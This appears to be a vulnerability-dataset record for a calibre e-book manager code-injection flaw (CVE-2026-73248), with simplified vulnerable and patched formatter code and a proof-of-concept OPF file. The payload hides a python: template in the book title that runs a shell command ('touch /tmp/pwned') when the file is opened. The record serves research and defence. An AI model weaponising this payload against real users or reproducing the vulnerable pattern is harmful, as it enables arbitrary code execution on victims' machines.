{"id":2231,"cve":"CVE-2026-73248","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-73248\/","cwe":"CWE-94","cwe_number":94,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/94","cvss_score":8.5,"published":"2026-08-11","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Command Injection","scope":"Local","impact":"Arbitrary Code Execution","summary":"Calibre allows arbitrary code execution via crafted e-book metadata.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-73248\/","description":"calibre is an e-book manager. Prior to 9.12.0, calibre processes attacker-controlled composite_template metadata from a malicious EPUB, OPF, PDF, or similar file through program: and a nested template() call whose formatter does not inherit allow_python_templates=False, allowing a nested python: template to reach compile_python_template and execute arbitrary Python code when the file is opened or imported. This issue is fixed in version 9.12.0.","solution":"Upgrade Calibre to version 9.12.0 or later.","affected_component":"calibre","fixed_by_upgrading":true,"vulnerable_code":"# Simplified from calibre.utils.formatter\nclass Formatter:\n    def __init__(self, user_data, allow_python_templates=None):\n        self.user_data = user_data\n        # The default of `None` is permissive due to the check `is not False`\n        self.allow_python_templates = allow_python_templates\n\n    def compile_python_template(self, template):\n        # In a real scenario, this would compile and run Python code.\n        pass\n\n    def format(self, template, data):\n        # Simplified evaluation logic for demonstration.\n        if template.startswith('python:'):\n            if self.allow_python_templates is not False:\n                return self.compile_python_template(template)\n            raise ValueError('Python templates not allowed')\n\n        if template.startswith('template('):\n            sub_template = template[9:-1]\n            return self.fn_template(data, sub_template)\n        \n        return \"processed\"\n\n    def fn_template(self, data, *args):\n        # VULNERABLE: A new formatter is created which does not inherit the\n        # `allow_python_templates` setting. It gets the default of `None`.\n        formatter = Formatter(self.user_data)\n        return formatter.format(args[0], data)\n","patched_code":"# Simplified from calibre.utils.formatter\nclass Formatter:\n    def __init__(self, user_data, allow_python_templates=None):\n        self.user_data = user_data\n        # The default of `None` is permissive due to the check `is not False`\n        self.allow_python_templates = allow_python_templates\n\n    def compile_python_template(self, template):\n        # In a real scenario, this would compile and run Python code.\n        pass\n\n    def format(self, template, data):\n        # Simplified evaluation logic for demonstration.\n        if template.startswith('python:'):\n            if self.allow_python_templates is not False:\n                return self.compile_python_template(template)\n            raise ValueError('Python templates not allowed')\n\n        if template.startswith('template('):\n            sub_template = template[9:-1]\n            return self.fn_template(data, sub_template)\n        \n        return \"processed\"\n\n    def fn_template(self, data, *args):\n        # FIX: The `allow_python_templates` setting is inherited by the new\n        # formatter, preserving the security context.\n        formatter = Formatter(self.user_data, allow_python_templates=self.allow_python_templates)\n        return formatter.format(args[0], data)\n","payload_needed":true,"payload":"```xml\n<?xml version='1.0' encoding='utf-8'?>\n<package xmlns=\"http:\/\/www.idpf.org\/2007\/opf\" unique-identifier=\"uuid_id\" version=\"2.0\">\n  <metadata xmlns:dc=\"http:\/\/purl.org\/dc\/elements\/1.1\/\" xmlns:opf=\"http:\/\/www.idpf.org\/2007\/opf\">\n    <dc:title>{program: template('{python: __import__(\"os\").system(\"touch \/tmp\/pwned\")}')}<\/dc:title>\n    <dc:identifier opf:scheme=\"uuid\" id=\"uuid_id\">a1b0d67e-2402-4013-8f61-b952b19232c9<\/dc:identifier>\n    <dc:language>en<\/dc:language>\n  <\/metadata>\n  <manifest>\n    <item id=\"text\" href=\"text.html\" media-type=\"application\/xhtml+xml\"\/>\n  <\/manifest>\n  <spine>\n    <itemref idref=\"text\"\/>\n  <\/spine>\n<\/package>\n```","payload_status":"available","published_fix":[{"repository":"kovidgoyal\/calibre","commit_url":"https:\/\/github.com\/kovidgoyal\/calibre\/commit\/dac9990458374a81a5372a768bba6527d965aac8","commit_subject":"When evaluating recursive templates inherit python template policy","units":[{"file":"src\/calibre\/utils\/formatter_functions.py","function":"BuiltinEval.evaluate"},{"file":"src\/calibre\/utils\/formatter_functions.py","function":"BuiltinListReGroup.evaluate"},{"file":"src\/calibre\/utils\/formatter_functions.py","function":"BuiltinReGroup.evaluate"},{"file":"src\/calibre\/utils\/formatter_functions.py","function":"BuiltinTemplate.evaluate"}]}],"references":null}